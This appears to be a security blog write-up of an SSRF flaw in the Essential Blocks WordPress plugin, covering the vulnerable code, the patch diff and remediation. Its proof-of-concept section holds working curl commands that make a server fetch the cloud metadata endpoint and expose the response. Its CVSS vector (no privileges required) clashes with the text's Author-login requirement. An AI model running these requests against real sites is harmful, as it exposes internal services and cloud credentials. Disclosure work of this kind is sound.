CVE-2026-10586: Essential Blocks Author+ SSRF (CVSS 7.2)
Table of Contents
CVE-2026-10586 is a CVSS 7.2 High Server-Side Request Forgery (SSRF) vulnerability in the Gutenberg Essential Blocks – Page Builder for Gutenberg Blocks & Patterns WordPress plugin. An authenticated attacker with Author-level access can force the WordPress server to make HTTP requests to arbitrary URLs — including internal services, metadata endpoints, and private network hosts.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Gutenberg Essential Blocks – Page Builder for Gutenberg Blocks & Patterns |
| Plugin Slug | essential-blocks |
| CVE ID | CVE-2026-10586 |
| CVSS Score | 7.2 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |
| Vulnerability Type | Server-Side Request Forgery (SSRF) |
| Affected Versions | <= 6.1.3 |
| Patched Version | 6.1.4 |
| Published | June 4, 2026 |
| Researcher | Shambles |
| Wordfence Advisory | Link |
Description
The Gutenberg Essential Blocks plugin includes an AI image generation feature powered by OpenAI. After the AI generates an image, users can save it to the WordPress media library. The function that performs this save — save_ai_generated_image() — accepts a user-supplied URL and fetches the image from that URL on the server side.
In versions up to 6.1.3, there is no restriction on what URL the server will fetch. An Author-level user can supply any URL — not just OpenAI’s image delivery endpoints. The server then makes a GET request to that URL and saves the response body as a media file. This is a classic Server-Side Request Forgery.
Technical Analysis
Vulnerable Code
The vulnerability lives in includes/Integrations/AI/AI.php, in the save_ai_generated_image() method.
The method is registered as an AJAX action in the class constructor:
// includes/Integrations/AI/AI.php — constructor
$this->add_ajax(
[
'save_ai_generated_image' => [
'callback' => 'save_ai_generated_image',
'public' => false
]
]
);
The 'public' => false flag means WordPress only registers wp_ajax_save_ai_generated_image (for logged-in users), not wp_ajax_nopriv_save_ai_generated_image. The action is therefore only reachable by authenticated users.
The AI class is always initialized, regardless of whether an OpenAI API key is configured:
// includes/Plugin.php
AI::get_instance(); // always runs — no settings gate
Inside save_ai_generated_image(), the code checks a nonce and the upload_files capability (which Authors have by default), then accepts image_url from the POST body:
// includes/Integrations/AI/AI.php:158-173 (vulnerable, 6.1.3)
$image_url = isset( $_POST['image_url'] ) ? esc_url_raw( $_POST['image_url'] ) : null;
// ...
if ( $image_url ) {
// Download the image from OpenAI URL
$image_data = wp_remote_get( $image_url, [
'timeout' => 60
] );
esc_url_raw() sanitizes the URL but does not restrict which hosts are allowed. It will accept any valid URL, including internal addresses such as http://127.0.0.1/, http://192.168.1.1/, or http://169.254.169.254/.
wp_remote_get() then makes the HTTP request from the server to the attacker-controlled URL. The response body is retrieved and saved to the WordPress media library:
$image_body = wp_remote_retrieve_body( $image_data );
// ...
$upload = wp_upload_bits( $filename, null, $image_body );
How the Attacker Obtains the Nonce
The required nonce is generated under the key admin-nonce. It is only output inside the WordPress admin area. Any Author (who has access to the Gutenberg editor) can load the block editor and read the nonce from the localized EssentialBlocksLocalize JavaScript object:
// includes/Core/Scripts.php:615-617
if ( is_admin() ) {
$admin_localize_array = [
'admin_nonce' => wp_create_nonce( 'admin-nonce' ),
// ...
];
}
By visiting any post edit screen, the attacker can call EssentialBlocksLocalize.admin_nonce in the browser console to retrieve a valid nonce.
Execution Path
- Attacker (Author+) visits
/wp-admin/post-new.phpand readsEssentialBlocksLocalize.admin_nonce. - Attacker sends a POST request to
wp-admin/admin-ajax.phpwithaction=save_ai_generated_image, the nonce, apromptvalue, andimage_urlset to an internal target. - The server calls
wp_remote_get($image_url), making an HTTP GET request to the internal address. - The response body is processed and saved to the WordPress media library.
- The API response returns the URL of the newly created media attachment. The attacker can then fetch the saved file to read the internal service’s response.
Secondary Attack Vector
The OpenAI::get_remote_image_data() private method also used wp_remote_get() to fetch reference images. This path is reached when an image editing job is submitted with a reference_image_url. The same SSRF was present there:
// includes/Integrations/AI/OpenAI.php (vulnerable, 6.1.3)
private function get_remote_image_data( $image_url ) {
$response = wp_remote_get( $image_url, [
'timeout' => 30,
'user-agent' => 'Essential Blocks Image Converter'
] );
This secondary path was also fixed in 6.1.4.
Proof of Concept
Disclaimer: This proof of concept is provided for educational purposes and authorized security testing only. Do not use it against any system without explicit written permission.
Prerequisites:
- Essential Blocks version ≤ 6.1.3 is installed and active.
- You have a valid Author-level (or higher) WordPress account.
Step 1 — Obtain a valid nonce.
Log in as an Author and visit the block editor:
https://target.com/wp-admin/post-new.php
Open the browser’s developer console and run:
copy(EssentialBlocksLocalize.admin_nonce)
This copies the nonce to your clipboard.
Step 2 — Trigger the SSRF.
Replace NONCE_VALUE, SESSION_COOKIE, and target.com with your values. The image_url points to an internal metadata endpoint (AWS EC2 IMDSv1 as an example):
curl -s -X POST "https://target.com/wp-admin/admin-ajax.php" \
-H "Cookie: SESSION_COOKIE" \
-d "action=save_ai_generated_image" \
-d "admin_nonce=NONCE_VALUE" \
-d "prompt=test" \
-d "image_url=http://169.254.169.254/latest/meta-data/"
Step 3 — Read the internal response.
The server saves the response body as a media library file and returns its URL in the JSON response:
{
"success": true,
"data": {
"attachment_id": 42,
"url": "https://target.com/wp-content/uploads/2026/06/ai-generated-test-1234567890.png",
...
}
}
Fetch the returned URL to read the internal service’s response:
curl "https://target.com/wp-content/uploads/2026/06/ai-generated-test-1234567890.png"
Step 4 — Verify.
The file will contain the HTTP response body from the internal target. For a metadata endpoint, this reveals instance role information or other sensitive cloud metadata.
Patch Analysis
Version 6.1.4 introduces several layers of defense.
Primary fix — replace wp_remote_get with wp_safe_remote_get:
- $image_data = wp_remote_get( $image_url, [
- 'timeout' => 60
+ $image_data = wp_safe_remote_get( $image_url, [
+ 'timeout' => 60,
+ 'redirection' => 3,
+ 'user-agent' => 'Essential Blocks/' . ESSENTIAL_BLOCKS_VERSION,
+ 'headers' => [
+ 'Accept' => 'image/*'
+ ]
] );
wp_safe_remote_get() sets the reject_unsafe_urls flag internally. WordPress then validates the resolved IP address against a blocklist that covers loopback (127.x.x.x), private networks (10.x.x.x, 192.168.x.x, 172.16–31.x.x), and link-local addresses (169.254.x.x). Requests to these ranges are rejected before the connection is made.
Response code validation:
+ $response_code = wp_remote_retrieve_response_code( $image_data );
+ if ( 200 !== $response_code ) {
+ wp_send_json_error( [ 'message' => 'Invalid response from image URL.' ] );
+ return;
+ }
New ImageValidator class (includes/Utils/ImageValidator.php) — validates that the downloaded body is a real image within safe size and dimension limits, and checks the first 1 KB for suspicious patterns like <?php, <script, or javascript::
public static function is_valid( $image_data ) {
if ( strlen( $image_data ) > self::MAX_SIZE ) { // 10 MB cap
return false;
}
$image_info = getimagesizefromstring( $image_data );
if ( ! $image_info ) {
return false;
}
// ... dimension checks and suspicious-pattern scan
}
MIME type allowlist — only image/jpeg, image/png, image/webp, and image/gif are accepted. Any other content type is rejected.
Secondary fix — OpenAI::get_remote_image_data() was also updated to use wp_safe_remote_get(), closing the secondary SSRF path through reference_image_url in AI image editing jobs.
Timeline
| Date | Event |
|---|---|
| June 4, 2026 | Wordfence publicly published the advisory |
| June 4, 2026 | Version 6.1.4 released with the fix |
| June 7, 2026 | This blog post published |
Remediation
Update the Gutenberg Essential Blocks plugin to version 6.1.4 or later. You can do this from your WordPress admin dashboard under Plugins → Installed Plugins, or by downloading the latest version from wordpress.org.
If an immediate update is not possible, restrict Author-level accounts on your site to trusted users only until the plugin is patched.
References
- Wordfence Advisory — CVE-2026-10586
- Vulnerable code on plugins.trac.wordpress.org (AI.php#L171)
- CVE-2026-10586 on cve.org
Frequently Asked Questions
What is CVE-2026-10586?
CVE-2026-10586 is a CVSS 7.2 High severity Server-Side Request Forgery vulnerability in the Gutenberg Essential Blocks WordPress plugin. An attacker with Author-level access can force the server to make HTTP requests to arbitrary internal or external URLs via the AI image save feature.
Which versions of Gutenberg Essential Blocks are affected by CVE-2026-10586?
All versions up to and including 6.1.3 are affected. Version 6.1.4 contains the fix.
What can an attacker do with CVE-2026-10586?
An attacker can make the WordPress server send HTTP GET requests to internal services, cloud metadata endpoints, or other hosts that are not directly reachable from the internet. The response body is saved to the WordPress media library, which can allow the attacker to read internal service responses.
Does an attacker need to be logged in to exploit CVE-2026-10586?
Yes. The attacker must have at least Author-level access to the WordPress site. The AJAX action is only available to logged-in users, and the required nonce is only exposed in the WordPress admin area.
How do I fix CVE-2026-10586 in Gutenberg Essential Blocks?
Update Gutenberg Essential Blocks to version 6.1.4 or later from the WordPress admin dashboard or wordpress.org.
Has Gutenberg Essential Blocks been patched for CVE-2026-10586?
Yes. Version 6.1.4 was released on June 4, 2026 and resolves this vulnerability by replacing wp_remote_get with wp_safe_remote_get and adding image content validation.